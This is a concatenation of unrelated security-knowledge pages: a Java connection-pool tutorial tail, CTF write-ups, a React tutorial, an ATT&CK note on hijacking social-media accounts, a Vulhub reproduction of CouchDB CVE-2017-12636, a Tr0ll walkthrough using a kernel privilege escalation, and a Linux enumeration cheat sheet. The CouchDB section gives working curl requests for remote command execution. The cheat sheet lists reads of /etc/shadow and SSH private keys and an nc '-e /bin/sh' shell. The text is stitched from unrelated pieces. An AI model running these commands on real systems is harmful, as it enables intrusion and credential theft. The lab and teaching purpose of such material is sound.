//该方法返回定义好的DataSource对象
public static DataSource getDataSource(){
return ds;
}
}
```
查询测试
```java
import java.sql.Connection;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
public class test2 {
private static JDBCUtils JDBCutiss;
public static void main(String[] args) throws Exception {
Connection connection = JDBCutiss.getConnection();//获取连接对象
String sql = "select * from login where username =?"; //设置sql语句
PreparedStatement preparedStatement = connection.prepareStatement(sql);//传入sql语句并创建预编译执行对象
preparedStatement.setString(1,"admin"); //sql语句设置值
// System.out.println(sql);
ResultSet resultSet = preparedStatement.executeQuery(); //执行sql语句
while (resultSet.next()){
System.out.println(resultSet.getString("username"));//获取用户账户
System.out.println(resultSet.getString("password"));//获取密码
}
JDBCutiss.close(preparedStatement,connection);
}
}
```
---
### HikariCP
- https://github.com/brettwooldridge/HikariCP
**maven**
```xml
<dependency>
<groupId>com.zaxxer</groupId>
<artifactId>HikariCP</artifactId>
<version>2.7.1</version>
</dependency>
```
创建一个DataSource实例,这个实例就是连接池
```java
HikariConfig config = new HikariConfig();
config.setJdbcUrl("jdbc:mysql://localhost:3306/test");
config.setUsername("root");
config.setPassword("password");
config.addDataSourceProperty("connectionTimeout", "1000"); // 连接超时:1秒
config.addDataSourceProperty("idleTimeout", "60000"); // 空闲超时:60秒
config.addDataSourceProperty("maximumPoolSize", "10"); // 最大连接数:10
DataSource ds = new HikariDataSource(config);
```
注意创建 DataSource 也是一个非常昂贵的操作,所以通常 DataSource 实例总是作为一个全局变量存储,并贯穿整个应用程序的生命周期。
有了连接池以后,我们如何使用它呢?和前面的代码类似,只是获取 Connection 时,把 DriverManage.getConnection() 改为 ds.getConnection():
```java
try (Connection conn = ds.getConnection()) { // 在此获取连接
...
} // 在此“关闭”连接
```
通过连接池获取连接时,并不需要指定 JDBC 的相关 URL、用户名、口令等信息,因为这些信息已经存储在连接池内部了(创建 HikariDataSource 时传入的 HikariConfig 持有这些信息)。一开始,连接池内部并没有连接,所以,第一次调用 `ds.getConnection()`,会迫使连接池内部先创建一个 `Connection`,再返回给客户端使用。当我们调用 `conn.close()` 方法时(在 `try(resource){...}` 结束处),不是真正 “关闭” 连接,而是释放到连接池中,以便下次获取连接时能直接返回。
因此,连接池内部维护了若干个 `Connection` 实例,如果调用 `ds.getConnection()`,就选择一个空闲连接,并标记它为 “正在使用” 然后返回,如果对 Connection 调用 `close()`,那么就把连接再次标记为 “空闲” 从而等待下次调用。这样一来,我们就通过连接池维护了少量连接,但可以频繁地执行大量的 SQL 语句。
通常连接池提供了大量的参数可以配置,例如,维护的最小、最大活动连接数,指定一个连接在空闲一段时间后自动关闭等,需要根据应用程序的负载合理地配置这些参数。此外,大多数连接池都提供了详细的实时状态以便进行监控。
---
## Source & Reference
- [C3P0线程池的创建与应用](https://blog.csdn.net/hdshds6/article/details/108478834)
- [Maven项目中c3p0连接数据库及实例](https://blog.csdn.net/qq_31992941/article/details/78758694)
- [C3p0数据库连接池的使用](https://cloud.tencent.com/developer/article/1010318)
- [Java学习之数据库连接池](https://www.cnblogs.com/nice0e3/p/13511365.html)
- [大话数据库连接池简史,你都用过几个?](https://cloud.tencent.com/developer/article/1529682)
- [Druid(德鲁伊)数据池配置文件详解以及简单的实现](https://blog.csdn.net/qq_41063182/article/details/82530415)
- [数据库连接池为什么首选Druid](https://cloud.tencent.com/developer/article/1800267)
- [JDBC连接池](https://www.liaoxuefeng.com/wiki/1252599548343744/1321748528103458)
|
sec-knowleage
|
```
Find the private key and decrypt the secret inside the picture
material.grandprix.whitehatvn.com/misc02
MD5: 2cad267bb17d5f31551c0d8713e41a77
Hint:
saintgiong.jpg.pgp
outguess
```
After mounting the ISO file `Hacker.iso`, we can start looking for interesting files.
Let's try to find the file from first hint.
```
$ grep -ri "saintgiong" .
./maildir/cur/15334499.com:Content-Type: application/octet-stream; name="SaintGiong.jpg.pgp"
./maildir/cur/15334499.com:Content-Disposition: attachment; filename="SaintGiong.jpg.pgp"
```
File is base64-encoded. After decoding it, we can see that the `pgp` extension isn't lying:
```
$ gpg --decrypt ./SaintGiong.jpg.pgp
gpg: encrypted with 512-bit ELG key, ID D332E256F0EE4293, created 2018-08-05
"whitehat <whitehat@bkav.vn>"
gpg: decryption failed: No secret key
```
We're looking for the key with fingerprint `D332E256F0EE4293`
Next step is to find a private key for decryption:
```
$ grep -r -e "PGP" -e "PRIVATE"
[...]
etc/mail/private.asc:-----BEGIN PGP PRIVATE KEY BLOCK-----
etc/mail/private.asc:-----END PGP PRIVATE KEY BLOCK-----
[...]
```
We can check, if it's the correct key:
```
$ gpg --keyid-format 0xlong private.asc
pub dsa2048/0x1C15C0A34BA9AFA0 2018-08-05 [SCA]
99B0DC8EB1942ACC4F5306561C15C0A34BA9AFA0
uid whitehat <whitehat@bkav.vn>
sub elg512/0xD332E256F0EE4293 2018-08-05 [E]
```
Unfortunately, the key is encrypted so we cannot use it directly, however in the same directory (`etc/mail`) there's another file: `encrypt.pyc`. Let's try to decompile it:
```
$ uncompyle6 /media/Hacker.iso/etc/mail/encrypt.pyc
import struct, sys, base64
password_enc = 'JTd1XyoIbmc3PWhpOjhfVhsIbmcAAAAA'
if len(sys.argv) != 2:
print 'Usage: %s data' % sys.argv[0]
exit(0)
data = sys.argv[1]
padding = 4 - len(data) % 4
if padding != 0:
data = data + '\x00' * padding
result = []
blocks = struct.unpack('I' * (len(data) / 4), data)
for block in blocks:
result += [block ^ block >> 16]
output = ''
for block in result:
output += struct.pack('I', block)
print base64.b64encode(output)
```
To decrypt the password, the only thing we have to change one variable: `data = base64.b64decode(password_enc)` and print the result without encoding it with base64:
```
$ decrypt.py
Phu_Dong_Thien_Vuong
```
Now we can import the key and decrypt the picture:

It's time to use the second hint: `outguess` - steganography tool.
```$ outguess -r SaintGiong.jpg h4x```
```
While the sixth Hung Vuong Dynasty, our country, then called Van Lang was under the menace of the An , situated in the North of Vietnam’s borders.
Hung Vuong King was very worried and assembled his court to prepare a plan of defense for the country. A mandarin of the civil service reminded the King that the original founding King of the country, Lac Long Quan had instructed that if the country were ever to face danger, it should pray for his help.
In that situation, the King then invoked the spirit of the founding King.
Three days later, a very old man appeared in the midst of a storm and said that he was Lac Long Quan himself. He prophesied that in three years the An from the North would try to invade the country; he advised that the King should send messengers all over the country to seek help from talented people, and that thereafter a general sent from heaven would come to save the country.
Event though three years later, indeed came the tempestuous foreign armies trying to take over the Southern Kingdom. At the capital city of Phong Chau, King Hung Vuong still remembered the instruction from Lac Long Quan.
However Even earlier than, at the village of Phu Dong, County of Vo Ninh, Province of Bac Ninh, a woman in her sixties reported she had seen footprints of a giant in the field.
Amazed, she tried to fit her feet in the footprints and suddenly felt that she was overcome by an unusual feeling.
Thereafter she became pregnant and delivered a boy whom she named Giong. Even at the age of three, Giong was not able to crawl, to roll over, or to say a single word.
Surprisingly, at the news of the messenger from the King, Giong suddenly sat up and spoke to his mother, asking her to invite the messenger over to their home.
He then instructed the messenger to request the King to build a horse and a sword of iron for him so that he could go and chase the invaders away.
When the horse and sword were eventually brought to his home, Giong stood up on his feet, stretched his shoulders, became a giant of colossal proportions, and asked his mother for food and new clothing.
She cooked many pots of rice for him but it was not enough for his appetite. The whole village brought over their whole supply of fabric and it was still not enough for his size.
Giong put his helmet on, carried his sword, jumped on the back of his horse and rode away, as fast as a hurricane. The iron horse suddenly spit fire, and brought Giong to the front line at the speed of lightning. The invaders saw Giong like a punishing angel overwhelming them.
Their armies were incinerated by the flame thrown from the horse's mouth. Their generals were decapitated by Giong’s sword. When it finally broke because of so much use, Giong used the bamboo trees that he pulled up from the sides of the road and wiped away the enemies.
Afterwards, he left his armor on the mountain Soc (Soc Son) and both man and horse flew into the sky.
Legend holds that lakes in the area of mountain Soc were created from the footprints of Giong’s horse. At the site of the forest where he incinerated the enemy armies is now the Chay Village ("Chay" meaning burned).
In recognition of Giong's achievement, King Hung Vuong proclaimed him Phu Dong Thien Vuong (The Heaven Sent King of Phu Dong Village). For the people of his country, he is better known as Thanh Giong ("Saint" Giong)
```
The last thing is to notice that first letters of each line form the flag:
```
$ cut -c 1 h4x | tr -d "\n"
WHITEHATSHWSGTALI
```
|
sec-knowleage
|
# Couchdb 任意命令执行漏洞(CVE-2017-12636)
Apache CouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库"。它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。应用广泛,如BBC用在其动态内容展示平台,Credit Suisse用在其内部的商品部门的市场框架,Meebo,用在其社交平台(web和应用程序)。
在2017年11月15日,CVE-2017-12635和CVE-2017-12636披露,CVE-2017-12636是一个任意命令执行漏洞,我们可以通过config api修改couchdb的配置`query_server`,这个配置项在设计、执行view的时候将被运行。
影响版本:小于 1.7.0 以及 小于 2.1.1
参考链接:
- http://bobao.360.cn/learning/detail/4716.html
- https://justi.cz/security/2017/11/14/couchdb-rce-npm.html
## 测试环境
Couchdb 2.x和和1.x的API接口有一定区别,所以这个漏洞的利用方式也不同。本环境启动的是1.6.0版本,如果你想测试2.1.0版本,可以启动[CVE-2017-12635](https://github.com/vulhub/vulhub/tree/master/couchdb/CVE-2017-12635)附带的环境。
执行如下命令启动Couchdb 1.6.0环境:
```
docker compose up -d
```
启动完成后,访问`http://your-ip:5984/`即可看到Couchdb的欢迎页面。
## 漏洞复现
该漏洞是需要登录用户方可触发,如果不知道目标管理员密码,可以利用[CVE-2017-12635](https://github.com/vulhub/vulhub/tree/master/couchdb/CVE-2017-12635)先增加一个管理员用户。
### 1.6.0 下的说明
依次执行如下请求即可触发任意命令执行:
```
curl -X PUT 'http://vulhub:vulhub@your-ip:5984/_config/query_servers/cmd' -d '"id >/tmp/success"'
curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest'
curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'
curl -X POST 'http://vulhub:vulhub@your-ip:5984/vultest/_temp_view?limit=10' -d '{"language":"cmd","map":""}' -H 'Content-Type:application/json'
```
其中,`vulhub:vulhub`为管理员账号密码。
第一个请求是添加一个名字为`cmd`的`query_servers`,其值为`"id >/tmp/success"`,这就是我们后面待执行的命令。
第二、三个请求是添加一个Database和Document,这里添加了后面才能查询。
第四个请求就是在这个Database里进行查询,因为我将language设置为`cmd`,这里就会用到我第一步里添加的名为`cmd`的`query_servers`,最后触发命令执行。
### 2.1.0 下的说明
2.1.0中修改了我上面用到的两个API,这里需要详细说明一下。
Couchdb 2.x 引入了集群,所以修改配置的API需要增加node name。这个其实也简单,我们带上账号密码访问`/_membership`即可:
```
curl http://vulhub:vulhub@your-ip:5984/_membership
```

可见,我们这里只有一个node,名字是`nonode@nohost`。
然后,我们修改`nonode@nohost`的配置:
```
curl -X PUT http://vulhub:vulhub@your-ip:5984/_node/nonode@nohost/_config/query_servers/cmd -d '"id >/tmp/success"'
```

然后,与1.6.0的利用方式相同,我们先增加一个Database和一个Document:
```
curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest'
curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'
```
Couchdb 2.x删除了`_temp_view`,所以我们为了触发`query_servers`中定义的命令,需要添加一个`_view`:
```
curl -X PUT http://vulhub:vulhub@your-ip:5984/vultest/_design/vul -d '{"_id":"_design/test","views":{"wooyun":{"map":""} },"language":"cmd"}' -H "Content-Type: application/json"
```
增加`_view`的同时即触发了`query_servers`中的命令。
## 利用脚本
写了一个简单的脚本 [exp.py](exp.py),修改其中的target和command为你的测试机器,然后修改version为对应的Couchdb版本(1或2),成功反弹shell:

|
sec-knowleage
|
# Writeup Sharif CTF 2016
Team: c7f.m0d3, msm, other019, nazywam, shalom, akrasuski1
### Table of contents
* [Rail Dence Cipher (Crypto) 50](crypto_50_railfence)
* [URE (Crypto) 100](crypto_100_ure)
* [High-speed RSA Keygen (Crypto) 150](crypto_150_keygen)
* [Hail Zeus (Crypto) 300](crypto_300_zeus)
* [dMd (Reverse) 50](re_50_dmd)
* [SRM (Reverse) 50](re_50_srm)
* [Android App (Reverse) 100](re_100_android)
* [Interpolation (Reverse) 200](re_200_interpolation)
* [Serial (Reverse) 150](re_150_serial)
* [Hackme (Web) 400](web_400_hackme)
* Login to system (Pwn) 200
* [SQL (Pwn) 150](pwn_150_sql)
* [Kiuar (Pwn) 200](pwn_200_kiuar)
* [Kick Tort Teen (Forensics) 50](for_50_tort)
* [Dumped (Forensics) 100](for_100_dumped)
* [We lost the Fashion Flag (Forensics) 100](for_100_fashion)
* [Uagent (Forensics) 100](for_100_uagent)
* Network Forensics (Forensics) 200
* [Blocks (Forensics) 400](for_400_blocks)
* [Asian Cheetah (Misc) 50](misc_50_cheetah)
* [Hack By The Sound (Misc) 200](misc_200_hacksound)
* [Impossible Game (Misc) 300](misc_300_impossible)
* [SecCoding 1 (Misc) 100](misc_100_seccoding1)
* [SecCoding 2 (Misc) 300](misc_300_seccoding2)
|
sec-knowleage
|
# Troll 1
> https://download.vulnhub.com/tr0ll/Tr0ll.rar
靶场IP:`192.168.32.172`

扫描对外端口
```
┌──(root💀kali)-[~/Desktop]
└─# nmap -p 1-65535 192.168.32.172
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-17 21:56 EDT
Nmap scan report for 192.168.32.172
Host is up (0.0023s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
MAC Address: 00:0C:29:DC:5B:6B (VMware)
Nmap done: 1 IP address (1 host up) scanned in 6.64 seconds
```
匿名登录FTP
```
┌──(root💀kali)-[~/Desktop]
└─# ftp 192.168.32.172
Connected to 192.168.32.172.
220 (vsFTPd 3.0.2)
Name (192.168.32.172:root): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rwxrwxrwx 1 1000 0 8068 Aug 10 2014 lol.pcap
226 Directory send OK.
ftp> get lol.pcap
local: lol.pcap remote: lol.pcap
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for lol.pcap (8068 bytes).
226 Transfer complete.
8068 bytes received in 0.01 secs (667.0256 kB/s)
```
分析数据包,找到一个单词`sup3rs3cr3tdirlol`和一个文件`secret_stuff.txt`


访问80端口

扫描目录

访问`secret`目录,没啥用

根据数据包的信息访问

分析`roflmao`文件
```
┌──(root💀kali)-[~/Downloads]
└─# file roflmao
roflmao: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=5e14420eaa59e599c2f508490483d959f3d2cf4f, not stripped
```

访问`0x0856BF`目录

访问目录

提示说这个目录包括密码,但是直接点击`Pass.txt`,没有密码

爆破密码`overflow/Pass.txt`

ssh登录

使用CVE-2015-1328进行提权

|
sec-knowleage
|
# Leavenworth Street [142 points] (24 solves)
> A twisty path beckons, will you find your way?
along with the challenge description we also got a docker image with deno and an executable:
```
chall/bin/leavenworth: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=01568d324806d2f9047260602156e4822c149aa5, for GNU/Linux 3.2.0, with debug_info, not stripped
```
running the executable showed us some interesting stuff, like the message `Started player process 9` and something that resembled a maze, along with the error `Module not found "file:///solver/solver.ts"`. we realized that the server expects a solver to be uploaded by us, but didn’t know what to do with the maze; thus, we decided to reverse-engineer the provided executable.
while reverse-engineering the binary we came across a subroutine with the name ”move”. we guessed it was a handler to process movement of the player on the board. this hypothesis proved correct once we took a closer look at the disassembly and confirmed that it processes four different ASCII chars that are commonly used for navigation - N/E/S/W.

having all that, we decided to write a simple maze solver that checks all tiles from the starting point until it finds a valid path to the ending point. next, the solver transforms that found path into the compass direction steps and outputs them as one line to standard output:
```typescript
const decoder = new TextDecoder();
let input
for await (const chunk of Deno.stdin.readable) {
const text = decoder.decode(chunk)
input = text.split('\n').slice(1).map(x => x.split(''))
break
}
function breadthFirstSearch(start, end) {
const history = new Map()
const queue = []
queue.push({ from: null, to: start })
const check = ({ from, to }) => {
if (to.y < 0 || to.y >= input.length) return false
if (to.x < 0 || to.x >= input[0].length) return false
let nextTile = input[to.y][to.x]
if (nextTile === 'X') return false
if (history.has(`x${to.x}y${to.y}`)) return false
history.set(`x${to.x}y${to.y}`, from)
if (to.x === end.x && to.y === end.y) {
return true
}
queue.push({ from: to, to: { x: to.x + 1, y: to.y } })
queue.push({ from: to, to: { x: to.x - 1, y: to.y } })
queue.push({ from: to, to: { x: to.x, y: to.y + 1 } })
queue.push({ from: to, to: { x: to.x, y: to.y - 1 } })
}
while (queue.length) {
let step = queue.shift()
if (check(step)) break
}
if (!history.has(`x${end.x}y${end.y}`)) return null
const path = []
let cur = end
while (cur) {
path.push(cur)
cur = history.get(`x${cur.x}y${cur.y}`)
}
path.reverse()
return path
}
const startY = input.findIndex(row => row.includes('S'))
const startX = input[startY].findIndex(tile => tile === 'S')
const endY = input.findIndex(row => row.includes('F'))
const endX = input[endY].findIndex(tile => tile === 'F')
let path = breadthFirstSearch({ x: startX, y: startY }, { x: endX, y: endY })
let steps = ''
for (let i = 0; i < path.length - 1; i++) {
let from = path[i]
let to = path[i+1]
if (to.y < from.y) steps += 'N'
else if (to.x > from.x) steps += 'E'
else if (to.y > from.y) steps += 'S'
else steps += 'W'
}
console.log(steps)
```
|
sec-knowleage
|
## React获取DOM节点
### 原生方法
利用原生方法中抓取DOM节点的方法,例如`getElementById`,`querySelector`等
```
import React from 'react'
class RefDemo extends React.Component{
handleClick(){
document.getElementsByTagName('p')[0].style.color = 'red'
}
render(){
return(
<div>
<p>哈哈哈</p>
<input type='button' value='点击' onClick={this.handleClick.bind(this)} />
</div>
)
}
}
export default RefDemo
```
### Jquery方法
安装`jquery`包,使用jq选择器抓取DOM节点,可以用jq方法进行操作
```
import React from 'react'
import $ from 'jquery'
class RefDemo extends React.Component{
handleClick(){
$('p').toggle('slow')
//有就隐藏,没有就显示
}
render(){
return(
<div>
<p>哈哈哈</p>
<input type='button' value='点击' onClick={this.handleClick.bind(this)} />
</div>
)
}
}
export default RefDemo
```
### 通过React的`ref`来获取DOM节点
`ref`是`Reference`的缩写,拿到一个真实的DOM节点,使参数按引用传递,使用`ref`参数,则方法定义和调用方法都必须显式使用`ref`关键字。
**Key**:唯一一个不重复的值
```
import React from 'react'
class Ref extends React.Component{
constructor(){
super()
this.state = {
title:''
}
}
handleClick(){
this.setState({
title:this.value.value
})
}
render(){
return(
<div>
<p>123{this.state.title}</p>
<input ref={ value => this.value = value } onChange={this.handleClick.bind(this)} />
<input type='button' value='点击' onClick={this.handleClick.bind(this)} />
</div>
)
}
}
export default Ref
```
不仅可以获取DOM节点,还可以获取子组件的节点
```
import React from 'react'
class Test extends React.Component{
constructor(){
super()
this.state = {
show:true
}
}
handleShow(){
this.setState({
show:!this.state.show
})
}
render(){
return(
<div>
<p style={{display:this.state.show ? 'block':'none'}}>杀人诛心</p>
<input type='button' value='点击' onClick={this.handleShow.bind(this)} />
</div>
)
}
}
class Ref extends React.Component{
handleClick(){
this.test.handleShow()
}
render(){
return(
<div>
<Test ref={test => this.test = test} onClick={this.handleClick.bind(this)}/>
<input type='button' value='点' onClick={this.handleClick.bind(this)} />
</div>
)
}
}
export default Ref
```
|
sec-knowleage
|
# T1586-001-盗取账户-社交媒体账户
## 来自ATT&CK的描述
攻击者可能会盗取社交媒体账户,这些账户可以在攻击目标过程中使用。对于包含社会工程的行动,利用在线角色很重要。与其创建和培养社交媒体档案(即社交媒体账户),攻击者可能会盗用现有的社交媒体账户。如果潜在的受害者与被攻击的目标有关系,或者知道被攻击的目标的情况,那么利用现有的角色可以使他们产生一定程度的信任。
盗取社交媒体账户的方法有很多,比如通过钓鱼网站收集信息,从第三方网站购买信息,或者通过暴力破解信息(例如:从泄露的信息转储中重复使用密码,简单理解:就是撞库)在盗用社交媒体账户之前,攻击者可能会进行侦察,以决定破坏哪些账户来推进其行动。
社交媒体账户(角色)可能存在于一个网站或多个网站上(例如:Facebook、LinkedIn、Twitter等)。被入侵的社交媒体账户可能需要额外的开发,这可能包括填写或修改个人资料信息,进一步开发社交网络,或加入照片。
攻击者可以利用被盗用的社交媒体资料创建新的,或劫持现有的,与感兴趣的目标的联系。这些连接可能是直接的,包括试图通过他人进行连接。在攻击生命周期的其他阶段,例如在初始访问期间(例如:通过服务进行网络钓鱼),可以利用被盗用的账户。
## 测试案例
简单理解:盗用一些社交媒体账户,比如xxx公司的财务人员,然后通过该账户和其他员工沟通交流,或者直接利用该账户和目标进行沟通。比如最常见的定位攻击人员身份信息,通过QQ联系,将自己的QQ信息更改为和攻击人员具有一定的相似之处(同一所学校、同一个专业等),可以帮助你获取到一定程度的信任。这是溯源攻击人员身份的方式之一,同样也可以是攻击者对攻击目标进行社会工程行动的一部分。
具体案例可参考:
记一次艰难的溯源故事(对不起学长):<https://xz.aliyun.com/t/9582>
有这么一段描述:”用一个qq等级高点的小号,修改好资料,99年,18届,某某院校,计算机专业,空间搞了些在贴吧找的学校照片。写上18届的学弟想咨询就业信息,订~好友申请已发送。既然是做梦,肯定是半夜,应该是12点左右看到通过了请求,也就过了十来分钟吧。正准备发构思好的问候学长的话。好家伙,直接给我来了一大波内推。这里暗示的提了一下自己是做开发的不是网络安全降低警惕心。“
## 检测日志
无法有效监测
## 测试复现
无
## 测试留痕
无
## 检测规则/思路
无
## 建议
### 缓解措施
这种技术不容易用预防控制来缓解,因为它是基于企业防御和控制范围之外的行为。
### 检测
考虑监测与你的组织有关的社交媒体活动。可疑的活动可能包括声称为您的组织工作的角色,或最近修改过的账户向与您的组织相关的账户提出大量连接请求。
检测工作可以集中在攻击生命周期的相关阶段,例如在初始访问期间(例如:通过服务进行鱼叉式钓鱼)。
## 相关TIP
[[T1586-002-盗取账户-电子邮箱账户]]
## 参考推荐
MITRE-ATT&CK-T1586-001
<https://attack.mitre.org/techniques/T1586/001/>
记一次艰难的溯源故事(对不起学长)
<https://xz.aliyun.com/t/9582>
|
sec-knowleage
|
**Authors**: < [nixawk](https://github.com/nixawk) >
----
# Information Gathering - Linux
## System Architecture
|**Command**|**Description**|
|:----------|:--------------|
|uname -a|The **uname** command reports basic information about a computer's software and hardware.|
|cat /etc/issue|The file **/etc/issue** is a text file which contains a message or system identification to be printed before the login prompt.|
|cat /etc/*-release|**/etc/lsb-release**, **/etc/redhat-release** files contain a description line which is parsed to get information. ex: "Distributor release x.x (Codename)"|
|cat /proc/version|**/proc/version** specifies the version of the Linux kernel, the version of gcc used to compile the kernel, and the time of kernel compilation. It also contains the kernel compiler's user name.|
|cat /proc/sys/kernel/version|The files in **/proc/sys/kernel/** can be used to tune and monitor miscellaneous and general things in the operation of the Linux kernel. [**Kernel - Documentation**](https://www.kernel.org/doc/Documentation/sysctl/kernel.txt)|
## Processes
|**Command**|**Description**|
|:----------|:--------------|
|ps -ef<BR>ps aux|**ps** can report a snapshot of the current processes.|
|top|**top** command displays processor activity of your Linux box and also displays tasks managed by kernel in real-time. It'll show processor and memory are being used and other information like running processes.|
|ls -al /proc/|**/proc** is very special in that it is also a virtual filesystem. It's sometimes referred to as a process information pseudo-file system. It doesn't contain 'real' files but runtime system information (e.g. system memory, devices mounted, hardware configuration, etc). |
|ls -al /proc/3080|View information about PID **3080**.|
## Users and Groups
|**Command**|**Description**|
|:----------|:--------------|
|id|Find a user's UID or GID and other information.|
|w|Display who is logged into the Linux and Unix-like server.|
|whoami|Display the user name of the owner of the current login session to standard output.|
|lastlog|Formats and prints the contents of the last login log /var/log/lastlog file.|
|cat /etc/passwd|A text-based database of information about users that may log in to the system or other operating system user identities that own running processes.|
|cat /etc/shadow|**/etc/shadow** is used to increase the security level of passwords by restricting all but highly privileged users' access to hashed password data. Typically, that data is kept in files owned by and accessible only by the super user.|
|cat /etc/master.passwd|**/etc/master.passwd** on BSD systems|
|cat /etc/sudoers|**/etc/sudoers** has the rules that users have to follow when using sudo command.|
|sudo -V|Print the sudo version string|
|cat ~/.ssh/authorized_keys|With public key authentication, the authenticating entity has a public key and a private key. Each key is a large number with special mathematical properties. The private key is kept on the computer you log in from, while the public key is stored on the **.ssh/authorized_keys** file on all the computers you want to log in to. |
|cat ~/.ssh/identity.pub|The file **identity.pub** contains your public key, which can be added to other system's authorized keys files. |
|cat ~/.ssh/identity|The ssh client allows you to selects a file from which the identity (private key) for RSA or DSA authentication is read.|
|cat ~/.ssh/id_rsa.pub|RSA public key will be saved as .ssh/id_rsa.pub.|
|cat ~/.ssh/id_rsa|RSA private key saved as .ssh/id_rsa in your home folder.|
|cat ~/.ssh/id_dsa.pub|DSA public key will be saved as .ssh/id_rsa.pub.|
|cat ~/.ssh/id_dsa|DSA private key saved as .ssh/id_rsa in your home folder.|
|cat /etc/ssh/ssh_config|OpenSSH SSH client configuration files|
|cat /etc/ssh/sshd_config|OpenSSH SSH Server configuration files|
|cat /etc/ssh/ssh_host_dsa_key.pub|The DSA public key used by the sshd daemon.|
|cat /etc/ssh/ssh_host_dsa_key|The DSA private key used by the sshd daemon.|
|cat /etc/ssh/ssh_host_rsa_key.pub|The RSA public key used by the sshd daemon for version 2 of the SSH protocol.|
|cat /etc/ssh/ssh_host_rsa_key|The RSA private key used by the sshd daemon.|
## Services
|**Command**|**Description**|
|:----------|:--------------|
|service -status-all|Check status of all services|
|systemctl -a|List all units installed in the file system.|
|service `servicename` start<BR>systemctl start `servicename`|Start a service|
|service `servicename` stop<BR>systemctl stop `servicename`|Stop a service|
|service `servicename` status<BR>systemctl status `servicename`|Show the status of a service|
|cat /etc/services|/etc/services maps port numbers to named services.|
## Security
|**Command**|**Description**|
|:----------|:--------------|
|iptables -L|List all rules in the selected chain.|
|iptables -F|Flush the selected chain.|
|iptables -A INPUT -p icmp -m icmp --icmp-type 0 -j ACCEPT|Please try **iptables -p icmp --help** for more details.|
|iptables -A INPUT -p tcp -m tcp --sport 80 -m state --state RELATED,ESTABLISHED -j ACCEPT|Allow tcp connections from src port 80|
|iptables -A OUTPUT -p tcp -m tcp --dport 80 -m state --state NEW,RELATED,ESTABLISHED -j ACCEPT|Allow tcp connections from/to dst port 80.|
|iptables -A INPUT -p udp -m udp --sport 53 -m state --state RELATED,ESTABLISHED -j ACCEPT|Allow udp connections from src port 80|
|iptables -A OUTPUT -p udp -m udp --dport 53 -m state --state NEW,RELATED,ESTABLISHED -j ACCEPT|Allow udp connections from/to dst port 53.|
|iptables -A OUTPUT -p tcp -m tcp --sport 55552 -s 127.0.0.1 -d 127.0.0.1 -j ACCEPT<BR>iptables -A OUTPUT -p tcp -m tcp --dport 55552 -s 127.0.0.1 -d 127.0.0.1 -j ACCEPT|Allow localhost to connect to localhost:55552|
## Networking
|**Command**|**Description**|
|:----------|:--------------|
|ifconfig -a|display all interfaces which are currently available, even if down.|
|hostname|show or set the system's host name.|
|dnsdomainname|show the system's DNS domain name.|
|netstat -antp|show network status|
|netstat -anup|show network status|
|chkconfig --list||
|lsof -nPi|list open files|
|route -e|show / manipulate the IP routing table|
|iwconfig|configure a wireless network interface|
|cat /etc/resolv.conf|The resolver configuration file contains information that is read by the resolver routines the first time they are invoked by a process. The file is designed to be human readable and contains a list of keywords with values that provide various types of resolver information. If this file does not exist, only the name server on the local machine will be queried; the domain name is determined from the hostname and the domain search path is constructed from the domain name.|
|cat /etc/hosts|**/etc/hosts** is a simple text file that associates IP addresses with hostnames, one line per IP address.|
|cat /etc/network/interfaces|**/etc/network/interfaces** file contains network interface configuration information.|
|cat /etc/sysconfig/network|**/etc/sysconfig/network** file is used to specify information about the desired network configuration on your server.|
|cat /etc/networks|**/etc/networks** is a plain ASCII file that describes known DARPA networks and symbolic names for these networks.|
|cat /proc/net/tcp|Print tcp info in hex mode|
|cat /proc/net/udp|Print udp info in hex mode|
|cat /proc/net/icmp|Print icmp info in hex mode|
|cat /proc/net/route|Print route info in hex mode|
|cat /etc/inetd.conf|inetd, called also the super server, will load a network program based upon a request from the network. The inetd.conf file tells inetd which ports to listen to and what server to start for each port.|
|cat /etc/xinetd.conf|xinetd.conf is the configuration file that determines the services provided by xinetd.|
|ls -R /etc/network/|Show files about network configuration|
|ls -al /etc/init.d|List all init scripts|
|iptables -L -t nat|Print rules of nat chain|
|iptables -L -t mangle|Print rules of mangle chain|
|tcpdump|tcpdump cheat sheet|
|nc -v `host` `port`|Make a tcp connection to host:port|
|nc -v -e /bin/sh -l -p `port`|Reverse a /bin/sh shell to localhost:port|
## File Systems
|**Command**|**Description**|
|:----------|:--------------|
|cat /etc/profile|/etc/profile contains Linux system wide environment and startup programs. It is used by all users with bash, ksh, sh shell.|
|cat /etc/bashrc|/etc/bashrc or /etc/bash.bashrc is the systemwide bash per-interactive-shell startup file. Is is used system wide functions and aliases. |
|cat ~/.bash_profile|similar to /etc/profile, but just for current user|
|car ~/.bash_history|Print current user bash commands history|
|cat ~/.bashrc|~/.bashrc is the individual per-interactive-shell startup file stored in your home directory $HOME.|
|car ~/.zshrc|~/.zshrc is the individual per-interactive-shell startup file stored in your home directory $HOME.|
|cat ~/.bash_logout|The file ~/.bash_logout is not used for an invocation of the shell. It is read and executed when a user exits from an interactive login shell.|
|ls -al /var/log/|List all logs files|
|find / -perm -1000 -type d 2>/dev/null | Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here.|
|find / -perm -g=s -type f 2>/dev/null | SGID (chmod 2000) - run as the group, not the user who started it.|
|find / -perm -u=s -type f 2>/dev/null | SUID (chmod 4000) - run as the owner, not the user who started it.|
